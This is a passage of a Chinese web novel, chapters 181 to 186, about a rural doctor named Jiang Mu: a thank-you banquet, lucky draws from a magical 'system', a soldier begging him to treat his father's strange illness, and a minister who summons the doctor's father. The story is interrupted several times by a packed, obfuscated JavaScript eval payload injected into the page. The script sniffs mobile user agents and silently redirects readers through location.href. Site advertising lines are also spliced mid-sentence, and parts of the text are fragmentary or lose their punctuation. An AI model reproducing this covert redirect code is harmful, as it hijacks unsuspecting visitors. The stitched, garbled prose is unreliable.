“江医生,小军托我给您带个话,问您啥时候有空,他想请您去他家,跟他爸一块儿吃顿饭,好好谢谢你。” 江沐正在晾晒新采的草药,闻言点了点头。 “我都行,看他们什么时候方便,到时候过来叫我就成。” 事情就这么定了下来。 谁知江沐这几天忙着整理新药材,又给几个孩子看了感冒,转头就把这事儿给抛到了脑后。 第181章 咱不提这个,晦气 直到周三下午,杨小军开着车,兴冲冲地停在卫生室门口时,江沐才猛地一拍脑门。 他看着杨小军那张充满期待的笑脸,脸上浮现出罕见的尴尬。 “小军,实在不好意思,你看我这记性……我前两天给忙忘了。” 杨小军憨厚一笑,露出一口白牙,挠了挠后脑勺,浑不在意地摆摆手。 “哎呀江兄弟,瞧你说的!你可是咱们公社的大忙人,十里八乡的病人都指望着你呢,忘个事儿算啥?我这不来请了嘛!走走走,我爸可念叨你好几天了!” 他一边说着,一边将车停好,热情地就要拉江沐出门。 “我爸还特地托人弄了瓶好酒,就等着跟你喝两杯呢!”杨小军的眼睛亮晶晶的,充满了期待,“对了,小月,你也一块儿去呗,人多热闹!” 正在里屋整理药材的张小月探出头来,脸上挂着温柔的笑意,她轻轻抚了抚自己已经明显隆起的小腹。 “我就不去了,这肚子越来越大,闻着酒味儿都犯晕。你们去吧,我守着卫生室,省得有人来卖药找不着人。” 杨小军这才注意到张小月的身孕,恍然大悟地哦了一声,脸上带了点不好意思。 江沐也不再推辞,转身回屋,从自己那个上锁的木箱里,取出一罐麦乳精和两包用纸包好的香烟。 “走吧。” 杨小军看着江沐手里的东西,眼睛都直了,连忙推拒,“江兄弟,你这是干啥!人来就行了,咋还带东西呢!” “应该的,”江沐将东西塞进杨小军的车上里,“早就该登门了,不能空着手。” 见他态度坚决,杨小军也不好再多说,心里对江沐的敬重又多了几分。 二人上了车,一路上二人天南地北的聊。 江沐忽然想起一件事,随口问了一句。 “对了,喜龙那小子最近怎么样?车开得还稳当吧?” 杨小军一听这话,立刻来了精神,脸上满是自豪。 “稳当,太稳当了!我姐夫都夸他有灵性,脑子活泛,现在都能自个儿开着去公社拉货了!” 江沐的表情却没什么变化,只是淡淡地嘱咐了一句。 “你可得给我看紧点。那小子年轻,性子野,刚学会点本事容易飘。该说说,该骂骂,别惯着他,安全是第一位的。” 杨小军心里一凛,重重地点了点头,“欸!我记住了江兄弟,你放心!” 说话间,二人停在了一处宅院。 一个身材壮实、皮肤黝黑的 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 中年汉子正站在门口张望,看到杨小军和江沐,立刻满脸笑容地迎了上来。 他就是杨小军的父亲,杨国良。 “哎呀!江医生!你可算来了!快进来快进来!”杨国良一把抓住江沐的手,那双布满老茧的手掌用力地摇晃着,眼眶都有些泛红。 当他看到儿子从车兜里拿出麦乳精和香烟时,脸上的笑容瞬间一僵,转而板起脸,佯怒地瞪着江沐。 “嘿!你这孩子,来就来,还带啥东西!这不是打我老杨的脸嘛!” 江沐微微一笑,态度不卑不亢。 “杨大叔,你这话就见外了。我早就该登门拜访,实在是前段时间太忙,耽搁了,心里一直过意不去。这点东西,就是我一点心意。” 一番话说得杨国良心里热乎乎的,也不好再推辞,只能拉着江沐往屋里走。 刚进屋,杨小军就风风火火地喊了一嗓子。 “江兄弟,你先跟我爸坐着喝口水,我去把我老丈人叫过来,他也嚷嚷着要见你呢!” 话音未落,人已经跑了出去。 一个围着围裙的妇人从厨房里走了出来,身后还跟着一个眉清目秀的年轻媳妇,正是杨小军的母亲和妻子马小爱。 两人热情地跟江沐打了招呼,端茶倒水,忙得不亦乐乎。 没多会儿,杨小军就拉着一个精神矍铄、穿着一身蓝色卡其布中山装的老人走了进来,正是马小爱的父亲,马忠文。 几人落座,寒暄了几句。 马忠文呷了口茶,话锋一转,“对了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16778518|190317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,前几天那事儿我听说了,那几个烂了心肝的东西,没让你受委屈吧?” 他身子微微前倾,压低了声音。 “要是有啥手尾要收拾,你跟马叔说,我在县**有个老伙计,递句话还是管用的。” 这话里带着试探,也带着善意。 江沐心中了然,他坦然地迎上马忠文的目光,摇了摇头。 “马叔,谢谢您的好意。这事儿公社的领导已经处理得很好了,都过去了。咱不提这个,晦气。” 马忠文眼中闪过赞许。 不卑不亢,有本事却不张扬,是个稳得住的年轻人。 很快,饭菜就流水般地端了上来。 炖得烂熟的土豆烧肉,金黄喷香的炒鸡蛋,还有一整只油光锃亮的烧鸡,在这年头,绝对称得上是盛宴了。 江沐由衷地赞叹,“婶子,你这手艺可真绝了!比国营饭店的大师傅还厉害!” 杨母被夸得合不拢嘴,一个劲地往他碗里夹菜。 酒过三巡,气氛越发热烈。 马忠文的酒量果然不错,一杯接一杯,面不改色。 倒是杨国良,没喝几杯脸就涨成了猪肝色,舌头也开始打卷。 他端着酒杯,晃晃悠悠地站起来,大着舌头冲江沐嚷嚷。 “江…江医生!我…我老杨嘴笨…不会说…这杯…我敬你!你的那滋补丹真是帮了我大忙了,**了,你随意!” 说完,一仰脖子,一杯辛辣的白酒就灌了下去,然后身子一软,直挺挺地就往桌子底下出溜。 杨小军眼疾手快,一把扶住他,哭笑不得,“爸,你少喝点,看你那脸,跟猴屁股似的!江兄弟,你别管他,他一沾酒就来劲。” 杨小军今天滴酒未沾,他心里记着,一会儿还得骑车送江沐回去。 江沐笑着摆摆手,看了看墙上的挂钟,指针已经指向了两点。 他放下筷子,擦了擦嘴。 “马叔,小军,我看今天就到这吧。杨大叔喝得也差不多了,让他好好歇歇。今天这顿饭吃得太舒坦了,谢谢大伙儿的热情招待。” 第182章 好小子!还是个怕媳妇的 他话音刚落,一直没怎么说话的马忠文便将手中的酒盅顿在桌上,眼神扫了过来。 “不行!小江,你这是看不起我老马头啊!老杨倒了,这不还有我吗?来来来,咱俩再走一个! 马忠文精神矍铄,声音洪亮,端起酒盅就要再给江沐满上。 那架势,仿佛今天不把江沐喝趴下誓不罢休。 江沐心里暗暗叫苦,这位马叔看着精瘦,酒量却跟牛一样。 再喝下去,自己怕是真的要被杨小军抬回去了。 他连忙摆手,脸上挤出求饶的苦笑。 “马叔,马叔,我认输,我真喝不过您!您是海量,我这顶多就算个河沟。再说了,我这要是醉醺醺地回去,我们家那位,非得把我的皮给扒了不可! 他故意把话说得可怜兮兮,还带上了几分年轻人的俏皮。 这话一出,屋里的气氛顿时一松。 马小爱和杨母都忍不住捂着嘴笑了起来。 马忠文愣了一下,随即指着江沐哈哈大笑起来,笑声里满是爽朗。 “好小子!还是个怕媳妇的!行!今天就先放你一马! 他收回酒瓶,眼中赞许之色更浓。 这年轻人,懂进退,知分寸,不仅医术高明,为人处世更是滴水不漏,将来必定不是池中之物。 “不过话说在前头,马忠文话锋一转,“过几天,等我托人弄点野味回来,我亲自上你那儿去!到时候,你可不准再拿媳妇当挡箭牌了! “一定!马叔您放心,到时候我扫榻相迎,绝对陪您喝个痛快!江沐立刻郑重其事地保证。 一场酒席,宾主尽欢。 杨小军将喝得不省人事的父亲安顿好,开上车载着江沐往二大队的方向赶去。 路过公社的百货大楼时,江沐忽然喊了一声。 “小军,停一下车。 杨小军稳稳地刹住车。江沐下车,径直走进了百货大楼。 没一会儿,他提着一个网兜出来,里面装着一包红糖、几尺的确良布料,还有一小包给孩子吃的饼干。 杨小军看着,心里又是一阵感动。 江兄弟这心里,时时刻刻都惦记着媳妇。 车子在江沐家门口停下。 “小军,进来喝口水歇歇脚吧。江沐发出邀请。 杨小军摆了摆手,憨厚地笑了笑,“不了江兄弟,我得赶紧回去,把我老丈人送回去。你快进去吧,天凉了。 江沐点点头,目送着杨小军骑车 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 远去这才转身推开了院子的门。 门响几道白色的小影子就从屋里窜了出来围着他的裤腿直打转嘴里发出撒娇声。 是那几只小狐狸。 比起它们那位警惕性极高的母亲这几个小家伙显然已经**沐的糖衣炮弹彻底腐蚀 江沐莞尔一笑心中一动。 下一秒他的手里凭空出现了几根还冒着热气的鸡腿。 他蹲下身将鸡腿分给几只小东西。 小狐狸们立刻欢天喜地地叼着各自的战利品跑到角落里大快朵颐去了。 一天的忙碌和应酬让他有些疲惫江沐回到自己的房间倒头便睡。 这一觉睡得极沉。 等他再睁开眼时窗外已是暮色四合墙上的挂钟时针稳稳地指向了六点。 他伸了个懒腰只觉得神清气爽醉酒的感觉已经完全消失。 起身来到外屋只见张小月正坐在灯下借着灯光仔细地将晒干的草药分门别类用麻绳一捆一捆地扎好。 灯光勾勒出她柔和的侧脸和微微隆起的小腹画面宁静而温暖。 “我来吧。”江沐走过去自然地接过她手中的活计。 两人没有多余的言语却有种无言的默契在空气中流淌。 时间一晃就到了八月一号。 这天晚上送走最后一个病人后江沐关上卫生室的门心神沉入了系统。 看着那积攒了不少的声望值他心中久违地涌起一股冲动。 “系统抽奖!” 他决定先试试手气单点了一发。 **飞速旋转指针划过一道道流光。 江沐的心也跟着提了起来。 突然一道刺目的金光毫无征兆地爆开差点闪瞎他的眼! 【叮!恭喜宿主获得金色奖励:大师级驾驶精通!】 **! 江沐瞳孔骤然一缩心脏都漏跳了一拍。 单抽出金?这运气……简直逆天了! 他毫不犹豫地选择了学习。 瞬间无数关于车辆构造、驾驶技巧、应急处理的知识洪流涌入脑海仿佛他已经开了几十年的车从拖拉机到小轿车再到大卡车无一不精! “好东西!”江沐心中狂喜这个年代会开车可是个金饭碗! 以后有机会必须得搞辆车开开! 趁着这股欧气他决定再来一发! “再来一次单抽!” ** 你的朋友正在书荒,快去帮帮他吧

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16778519|190317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 再次转动,江沐的呼吸都屏住了。 下一秒,又是一道璀璨的金光炸裂! 【叮!恭喜宿主获得金色奖励:声望值*1000点!】 又……又出金了?! 江沐感觉自己快要窒息了。 今天是什么神仙日子?幸运女神附体了吗? 连出两个金色奖励,让他信心爆棚。 “系统!不墨迹了!给我来一发十连!” 他几乎是吼出来的。 **上十道光芒同时亮起,疯狂旋转,最终化作漫天光点,在他面前汇聚成十个光球。 江沐紧张地搓了搓手,一个个点开。 六道白光,四道蓝光。 【获得:肥皂*10】 【获得:肉罐头*5】 …… 一堆没什么用的白色垃圾被他直接忽略。 蓝色的光球开出了三样东西。 【获得:蝴蝶牌缝纫机*1】 【获得:初级机械维修技能书*1】 【获得:飞鹰牌手动刮胡刀*1】 都是实用的好东西!特别是缝纫机,正好给张小月用。机械维修技能跟驾驶精通简直是绝配! 就在江沐以为十连抽就此结束时,一个系统提示音让他愣住了。 【叮!检测到宿主佩戴称号小白脸,额外获得一次抽奖机会!】 还有一次?江沐心头一跳,想起了那个有点羞耻但效果拔群的称号。 他怀着最后期待,点向了那个额外生成的光球。 没有惊天动地的特效,只有一抹深邃、厚重,仿佛蕴含着生命之力的红色,在他眼前缓缓绽放。 是……红色! 红色奖励! 江沐的呼吸彻底停滞了! 【叮!恭喜宿主获得红色奖励:不死图腾!】 【不死图腾:被动技能。绑定目标后,当目标受到致命伤害时,图腾将自动激活,瞬间恢复其所有生命力并提供短暂的无敌状态。每个图腾仅可激活一次,激活后消失。】 看着这简短却霸道无比的介绍,江沐的大脑一片空。 这是……一条命啊! 他没有任何犹豫,直接在心中下达了指令。 “系统!将不死图腾绑定给张小月!” 【绑定中……绑定成功!】 一道微不可查的红光从江沐体内飞出,瞬间没入了隔壁房间熟睡的张小月体内,在她心口的位置,化作一个极其微小的、肉眼无法看见的图腾印记,而后彻底隐去。 第183章 这狐狸,当真是通人性 第二天醒来时江沐唇边还挂着笑意。 昨夜那通天的好运尤其是最后那个【不死图腾】让他心中一块最大的石头彻底落了地。 在这个缺医少药、意外横生的年代没有什么比一条实实在在的命更珍贵。 这让他一整晚都睡得格外踏实精神是前所未有的舒畅。 “什么事儿这么高兴?做美梦了?” 身旁的张小月早已醒了正侧着身子一双明亮的眸子好奇地端详着他。 江沐翻了个身面对着她伸手将她一缕散落在颊边的发丝掖到耳后眼底是化不开的温柔。 “嗯 张小月嗔了他一眼却把这话当了真小声嘟囔着:“你要是喜欢那……那咱们就多生几个。” 江沐闻言脸上的笑意却淡了几分他轻轻握住张小月的手语气变得郑重起来。 “一个就够我提心吊胆的了生那么多我这心还不得天天悬在嗓子眼?” 他见识过太多现代医学都无能为力的生育风险更何况是眼下这个连剖腹产都算顶天大手术的时代。 他宁愿只要一个只要她们母子平安比什么都强。 张小月微微一怔旋即明白了丈夫话语里的深意心中涌起一股暖流乖巧地点了点头不再言语只是将身子往他怀里又凑近了几分。 屋外天色不知何时阴沉了下来淅淅沥沥的雨丝敲打着窗棂。 一声委屈的叫声从门口传来紧接着几道身影蹿了进来。 是妲己回来了带着它的孩子回来了。 只是此刻妲己那一身雪白的毛发变得黢黑黢黑的还沾满了泥点子活像一团滚过煤堆的**球只有一双滴溜溜转的眼睛还算干净。 “哎呀!你这个小淘气!”张小月又气又笑嫌弃地指着它“看你这一身泥又跑哪儿疯去了!” 说着她还是认命地起身打了盆温水拎着妲己命运的后颈皮给这个小捣蛋鬼擦洗起来。 雨势渐大不一会儿便成了瓢泼之势。 这场秋雨来得快去得也快。 午后雨过天晴一道绚烂的彩虹挂在天边洗刷过的空气里满是青草的芬芳。 院门外传来了一阵熟悉的脚步声。 “小月!江沐!” 是张小月她爹张峰的声音。 江沐 你的朋友正在书荒,快去帮帮他吧 和张小月连忙迎了出去,只见老丈人张峰带着大舅子张玖博、大嫂林秋红,还有小舅子张小虎,一家子都来了。 张峰手里拎着一只捆得结结实实的老母鸡,鸡冠鲜红,精神十足。 “爹,哥,嫂子,你们怎么冒着雨过来了?张小月惊喜地接过父亲手里的鸡。 “这不你哥的工作定下来了,多亏了江沐。张峰黝黑的脸上满是朴实的笑容,他指了指张玖博,“这鸡是你哥专门去隔壁村买的,给你补补身子。还有这个…… 说着,张玖博有些局促地从怀里掏出一个用手帕裹得严严实实的小包,递了过来。 “妹夫,这里是二百块钱。这钱你必须收下,不然我这班上得不踏实! 江沐脸色一肃,毫不犹豫地将张玖博的手推了回去。 “哥,你这是干什么?咱们是一家人,你跟我算这个账,就太生分了!钱,我绝对不能要! “妹夫,你听我说…… 江沐的态度却异常坚决。 就在两人推搡之际,张小月忽然出手,一把从大哥手里拿过那个钱包裹,转身塞到了嫂子林秋红的手里。 “嫂子,你把钱收好!我哥再说这话,你们以后就别登我家的门了! 林秋红被这突如其来的一下弄得手足无措,求助地看向丈夫和公公。 张峰看着江沐那不似作伪的坚定神情,重重地叹了口气,对着大儿子摆了摆手。 “行了!既然江沐这么说了,就把钱收起来吧。江沐这份情,咱们家记在心里就行。以后……以后对他好点。 一场小小的风波就此平息。 一家人围坐在一起,聊着家常,气氛热络。 直到晚上九点多,张峰一家才起身告辞。 临走时,一直很安静的小舅子张小虎,却抱着一只小狐狸死活不撒手,眼巴巴地看着张峰。 “爹,咱把这个带回家养吧?它好乖啊。 “胡闹!张峰眼睛一瞪,“咱家连你都快养不起了,还养狐狸?它吃啥?改明儿我给你弄几只鸡苗,你自个儿养去! 张小虎顿时瘪了嘴,眼眶都红了。 江沐见状,笑着开口:“爹,没事儿,就让小虎抱一只回去玩吧,这小东西好养活。 谁知张峰却异常固执,一把将小狐狸从儿子 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那司机显然是军人出身,反应快得惊人。 眼见一条大狗气势汹汹地扑来,他眼中寒光一闪,右手闪电般探向腰间,拔出了一把****! 黑洞洞的枪口瞬间对准了虎虎生威! 一股冰冷的杀气骤然弥漫开来! “虎虎生威”吓得浑身黄毛倒竖,一个急刹停在原地,喉咙里发出恐惧的呜咽声,夹着尾巴不敢再动弹。 “援朝!把枪收起来!” 孙文杰也被这突发状况吓了一跳,立刻厉声喝止。 那名叫江援朝的司机这才意识到自己反应过度,这里不是战场,而是一户普通的农家小院。 他脸上闪过尴尬,迅速将枪收回枪套,站得笔直,却不再言语。 “江老弟,别介意,援朝他刚从前线下来,警惕性高了点。”孙文杰快步迎上前来,带着歉意解释。 江沐的目光从那司机冷峻的脸上一扫而过,心中了然。 此人身上,有股子真正上过战场、见过血的铁血之气。 他摆了摆手,脸上看不出喜怒。 “没事,孙哥。进屋说吧。” 第184章 嘴上没**,办事不牢 三人落座,江沐提起桌上的粗陶茶壶,给孙文杰和江援朝各倒了一碗温热的粗茶。 屋内的气氛,因方才院门口那拔枪的瞬间而凝滞,带着挥之不去的紧张。 江援朝端起茶碗,却没有喝,只是盯着碗中沉浮的茶叶末,似乎在组织语言。 “江老弟,我给你介绍一下。孙文杰看出气氛的僵硬,主动打破了沉默,“这位是江援朝,我的……一位老朋友的儿子。援朝,这位就是我跟你提过的江沐,江大夫。 孙文杰特意在大夫两个字上加重了语气。 江援朝闻言,立刻站起身,对着江沐郑重地敬了个军礼,动作标准,铿锵有力。 “江大夫! “坐。江沐指了指板凳,神色平静无波,“有话慢慢讲。 这种超乎年龄的沉稳,让江援朝眼中的最后轻视也消失殆尽。 来之前,他听孙文杰把这年轻人夸得天上有地下无,心里其实是不信的。 太年轻了,嘴上没**,办事不牢。 可这一路见闻,尤其是刚刚那份泰山崩于前而色不变的气度,让他不得不重新审视。 “江大夫,我这次来,是想请您救我父亲一命!江援朝没有再坐下,声音因激动而微微发颤。 他深吸一口气,将父亲的怪病原原本本地说了出来。 “大概半个月前,我父亲毫无征兆地突然昏倒,然后……然后七窍流血! 即便是在复述,江援朝的眼中依旧浮现出深深的恐惧。 “最诡异的是,那些血没有半点腥味,反而散发着一股……一股像是烂掉的草木一样的味道。他努力寻找着精准的形容词,脸色愈发苍白,“人昏迷了一天一夜,第二天醒来,却跟没事人一样,精神头还好得很。家里人都以为是撞了邪,请了有名的先生来看,法事也做了,可根本没用! 江援朝的拳头不自觉地攥紧了,手背上青筋暴起。 “从那以后,我父亲的身体就垮了,一天比一天虚弱,现在已经卧床不起。我们跑遍了京城所有的大医院,找了最有名的西医、老中医,做了无数检查,所有人都束手无策,连个病因都查不出来! “孙叔叔说,您的医术通神,或许您有办法。江大夫,只要您能治好我父亲,我们江家,必有重谢! 江沐静静地听着,手指有节奏地在桌面上轻轻敲击。 七窍流血,血无腥味而有腐朽之气,先昏后醒,继而急转直下……这些症状在他脑海中迅速组合,与一本古医 你的朋友正在书荒,快去帮帮他吧 籍上的记载严丝合缝地对应起来。 他的心里已然有了计较。 “这种情况中医古籍中确有记载。”江沐终于开口“此症名为阴疰尸厥。” “阴疰尸厥?”江援朝和孙文杰同时一愣。 “何为阴疰?古人认为人久居阴湿之地或接触了埋藏过久的阴物导致阴煞之气侵入五脏六腑如附骨之疽是为疰。何为尸厥?煞气攻心蒙蔽神智人如活尸血脉凝滞故而昏厥。流出的血带着腐朽之气便是脏腑生机被阴煞侵蚀的明证。醒来后的清醒不过是回光返照罢了。” 江沐的解释不疾不徐每一个字都清晰地传入两人耳中。 这番闻所未闻的理论让江援朝彻底镇住了。 希望的火焰在他心中熊熊燃起! “江大夫!那……那这个病可有解法?”江援朝的声音里带着祈求。 “病理既明便有法可循。但具体如何还要看过病人诊过脉象 “太好了!”江援朝激动得无以复加“江大夫请您务必跟我去一趟京城!只要您肯动身无论什么条件我们都答应!从今往后您就是我们江家最尊贵的座上宾!” 江沐却摇了摇头目光转向窗外落在院子里正在晾晒被褥的张小月身上眼神瞬间变得柔和。 “抱歉我去不了。” “为什么?!”江援朝无法理解也无法接受。 “我媳妇有孕在身月份大了我不能离开她。”江沐的理由简单而直接“如果你们真信得过我想让我看病就把病人带到这儿来。” 把病人带到这儿来? 江援朝简直不敢相信自己的耳朵。 他父亲是什么身份?怎么可能千里迢迢跑到这穷乡僻壤来看病! 他脸色涨红正要开口争辩却被孙文杰一把按住了肩膀。 孙文杰对江沐的脾性有所了解知道这人吃软不吃硬一旦做了决定九头牛都拉不回来。 他苦笑一下换了个折中的方案“江老弟你看这样行不行?我们不让你去京城但援朝他父亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16778521|190317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的身份确实特殊不方便来这儿。我们把他接到省城的医院然后我亲自开车来接你过去你看如何?最多一天就能来回绝不耽误你照顾弟妹。” 江沐沉吟片刻看了看孙文杰诚恳的脸点了点头。 “既然孙哥你开口了这个面子我给。” 一句话让江援朝那颗悬到嗓子眼的 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 心,终于落回了肚子里。 虽然过程曲折,但总归是答应了! 他恨不得现在就飞回京城去安排,已然是有些坐不住了。 孙文杰看出他的急切,便起身告辞,“江老弟,那事情就这么定了。我们先回去安排,一有消息,我立刻过来接你。” 江沐将两人送到院门口,目送着那辆绿色的吉普车卷起一阵尘土,消失在土路的尽头。 车上,江援朝终于忍不住了。 “孙叔!你刚才为什么拦着我?他凭什么不去北京?他知不知道我父亲是……” “住口!”孙文杰低喝一声,打断了他,“援朝,我比你了解江沐。这小子是个犟驴,他决定的事,你就是拿枪顶着他脑袋也没用。他说了不去,那就是天王老子来了也没用。他不在乎你是什么身份,只认他自己的理。” 江援朝被噎得说不出话来,半晌才闷闷地吐出一句。 “说实话,第一眼见到他,我真没抱什么希望,太年轻了……” “因为他年轻就轻视他,最后被他的医术惊掉下巴的,你可不是第一个。” …… 吉普车一路疾驰,回到省里招待所后,江援朝立刻要通了京城的军线电话。 “大哥,是我,援朝……事情有眉目了!孙叔叔在陕州这边给我介绍了一个神医,叫江沐……对,很年轻,但是本事极大!爸的病,他一口就道出了病名,叫什么阴疰尸厥……” 他将此行的来龙去脉,一五一十地向电话那头的大哥做了汇报。 而就在他打电话的同时。 千里之外,京城,某座警备森严的办公楼内。 一张宽大的红木办公桌上,一份用牛皮纸袋装着的绝密档案被轻轻推到了桌子中央。 档案封面上,赫然印着两个字—— 江沐。 第185章 你是不是有个儿子,叫江沐 办公桌上的灯光将那份牛皮纸档案袋映出一片昏黄。 “江沐男十九岁京城人士赴陕州邹县青莲公社插队知青……” 男人的目光逐字扫过当看到家庭关系那一栏时指尖微微一顿。 父亲:江东山京城人民医院副院长。 男人抬起头看向站在一旁的秘书。 “这个江东山你让人去约一下。今天中午我要见他。” “是**!” …… 京城人民医院手术室的门打开。 江东山摘下沾着汗水的口罩满身的疲惫几乎要将他压垮。 江东山刚想去办公室歇口气走廊尽头那台黑色的电话机却不合时宜地响起了刺耳的铃声。 接电话的护士长放下听筒神色古怪地朝江东山喊了一句。 “江副院长院长的电话让您立刻去他办公室一趟!” 老李找我? 江东山心里咯噔一下。 他不敢多想用冷水胡乱抹了把脸强打起精神快步走向院长办公室。 办公室的门虚掩着他轻轻敲了两下推门而入。 屋内院长李卫国正襟危坐平日里总是挂着笑的脸上此刻却是一片凝重。 而在他对面还坐着一个穿着军绿色干部装的年轻人。 那年轻人约莫二十五六岁坐姿笔挺如松太阳穴微微鼓起一看就是个练家子。 “**来了。”李卫国朝他招了招手语气前所未有的客气 江东山还没来得及开口那个叫徐建军的年轻人已经站起身来。 “您就是江东山副院长?” “是我是。请问您是?”江东山被他看得心里有些发毛。 徐建军的脸上没有丝毫表情声音平铺直叙却带着一股天然的压迫感。 “我今天来是替我们江部长约您中午吃个便饭。” 江……部长? 江东山的大脑瞬间一片空白他绞尽脑汁也想不起来自己认识哪位姓江的大人物。 “江部长?”他下意识地反问声音都有些干涩“请问……是哪位江部长?找我……是有什么事吗?” 徐建军似乎根本没有回答他问题的意思只是淡淡地扫了他一眼。 “到时候您就知道了。我的任务只是传话。” 说完他竟是直接转身大步流星地走出了办公室留下 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 满脸错愕的江东山和神情复杂的李卫国。 “江东山!李卫国猛地一拍桌子,压低了声音,几乎是从牙缝里挤出几个字,“你**给老子说实话,你到底捅了多大的娄子?! 江东山被这突如其来的怒火吼得一懵。 “院长,我……我冤枉啊!我连是哪位江部长都不知道,我能捅什么娄子? “你不知道?李卫国气得直笑,指着江东山的鼻子,“能让徐建军这种人亲自来传话的,这京城里姓江的还能有几位?那是通了天的人物!你给我放机灵点!这要是出了岔子,别说你这个副院长,就是你那个老丈人,都**保不住你!听见没有! 江东山浑身一颤,冷汗瞬间湿透了后背的白大褂。 从院长办公室出来,他失魂落魄地走到一个无人的楼梯拐角,颤抖着手拨通了岳父家的电话。 电话响了许久才被接起,传来岳父苏志威严的声音。 “喂? “爸……是我,东山。 “嗯?什么事?苏志的语气有些不耐烦。 “爸,出事了……江东山的声音带着哭腔,将刚才发生的事情原原本本地说了一遍。 电话那头沉默了足足半分钟,久到江东山以为断线了。 “你个废物!你到底在外面干了什么混账事?!苏志的咆哮声从听筒里炸开,震得江东山耳朵嗡嗡作响,“徐建军?那个人怎么会来找你?! “我……我真的不知道啊爸!江东山急得快要哭出来了,“他说,有位江部长要请我吃饭…… “江部长请你吃饭? 电话被粗暴地挂断。 等待的每一秒,对江东山而言都是炼狱般的煎熬。 大概过了十分钟,电话又响了。 江东山猛地抓起听筒。 “爸!怎么样? 苏志的声音比之前更加凝重。 “没打听到。问了一圈,个个都讳莫如深,嘴巴严得跟铁桶一样。 江东山的心,彻底沉入了谷底。 “东山,你听着。苏志的语气缓和了一些,却更添了几分严肃,“对方既然是请你吃饭,那就未必是坏事。真要整你,有的是办法,用不着这么麻烦。你记住,去了以后,多听少说,不该问的别问,不该说的别说!千万,千万别得罪了那位江部长! 挂了电话,江东山靠着冰冷的墙壁,只觉得天旋地转。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16778522|190317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >听说和异性朋友讨论本书情节的,很容易发展成恋人哦 好不容易熬到中午,那个叫徐建军的年轻人果然又出现了。 江东山僵硬地跟着他往楼下走。 刚到楼梯口,迎面就撞上了提着饭盒的苏红霞。 “**!这都什么时候了,你跑哪去?不知道回家吃饭啊!”苏红霞一见他,立刻柳眉倒竖,习惯性地就要开腔。 江东山连忙背着徐建军,疯狂地朝她使眼色,脸上挤出比哭还难看的笑容。 苏红霞虽然泼辣,但不是蠢人。 她一眼就瞥见了江东山身后那个气场迫人的徐建军,心里顿时一凛,硬生生把到了嘴边的话咽了回去,只是狐疑地瞪了江东山一眼。 两人一前一后,沉默地上了停在医院门口的一辆黑色轿车。 车子一路开到了国营饭店。 徐建军领着他,直接上了不对外开放的三楼包间。 接下来的二十分钟,是江东山人生中最漫长的一段时间。 终于,窗外传来汽车引擎的轰鸣声。 徐建军立刻站起身,“江副院长,部长到了,我们下去接一下。” 江东山腿脚发软地跟着他下了楼,只见一辆挂着特殊牌照的红旗轿车稳稳停住。 徐建军小跑着过去拉开车门,一位面容威严的男人从车上走了下来。 江东山的心跳几乎要停止了。 他认得这张脸! 这位,竟然是那位经常在报纸上才能见到的江部长! 三人重新回到三楼包间,江东山紧张得手脚都不知道该往哪放。 江部长倒是显得很和蔼,指了指对面的椅子。 “东山同志,不要紧张,坐。” 他越是这么说,江东山就越是紧张,屁股只敢沾着椅子半边。 菜很快就上齐了,江部长却没动筷子,只是端着茶杯,目光平静地看着他。 就在他快要被这沉默压垮的时候,江部长终于开口了。 “我问你个事。你是不是有个儿子,叫江沐?” 江东山的大脑一片空白。 他做梦也想不到,这位日理万机的大人物,费这么大周章找他来,竟然是为了问他的儿子! 江部长看着他震惊的神情,又慢悠悠地补了一句。 “听说,他的医术……很不错?” 医术? 江东山彻底懵了。 第186章 自今日起,断绝父子关系 对面的江部长,将江东山所有的反应尽收眼底。 他原以为这江东山的神情,会是惊慌,是掩饰,是另有隐情。 却没想到,是如此纯粹的茫然。 这反应,反而更有趣了。 “看来,你这个父亲,对自己儿子了解得不多啊。”江部长收回目光,语气平淡,听不出喜怒。 